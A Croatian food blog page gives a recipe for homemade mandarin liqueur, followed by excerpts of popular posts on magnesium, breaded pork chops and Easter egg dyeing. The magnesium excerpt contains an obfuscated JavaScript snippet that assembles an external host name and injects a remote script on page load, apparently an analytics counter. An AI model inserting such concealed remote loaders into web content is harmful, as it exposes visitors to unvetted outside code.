DOMAĆI LIKER OD MANDARINA




Domaći liker od mandarina 



Domaći liker od mandarina lako ćete pripremiti sami. Potrebno vam je tek nekoliko sastojaka i malo strpljenja, a krajnji rezultat je aromatično piće savršeno za posluživanje nakon obroka ili uz slatko.




Domaći liker od mandarina 


Sastojci:

  • 8–10 neprskanih mandarina
  • 500 ml votke
  • 500 ml vode
  • 300–350 g šećera
  • 1 vanilin šećer ili komadić vanilije, po želji
  • 1–2 žlice soka od mandarine, po želji



Priprema:

  1. Mandarine dobro operite i osušite. Ogulite samo tanki, narančasti dio kore. Pokušajte izbjeći bijeli sloj ispod kore jer može dati neugodno gorak okus.
  2. Koru stavite u čistu staklenku i prelijte votkom. Zatvorite staklenku i ostavite je na tamnom i hladnijem mjestu 2–3 tjedna. Svakih nekoliko dana lagano je protresite.
  3. Vodu i šećer stavite u lonac i zagrijavajte na laganoj vatri dok se šećer potpuno ne otopi. Nije potrebno dugo kuhati. Sirup ostavite da se potpuno ohladi.
  4. Nakon maceriranja procijedite alkohol kroz fino cjedilo ili gazu kako biste uklonili svu koru.
  5. Procijeđeni aromatizirani alkohol pomiješajte s ohlađenim šećernim sirupom. Ako želite izraženiji citrusni okus, dodajte malo svježe iscijeđenog soka od mandarine. Po želji možete dodati i malo vanilije.
  6. Ulijte liker u čistu bocu i ostavite ga još barem 5–7 dana prije kušanja. Što malo dulje odstoji, okusi će se bolje povezati.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više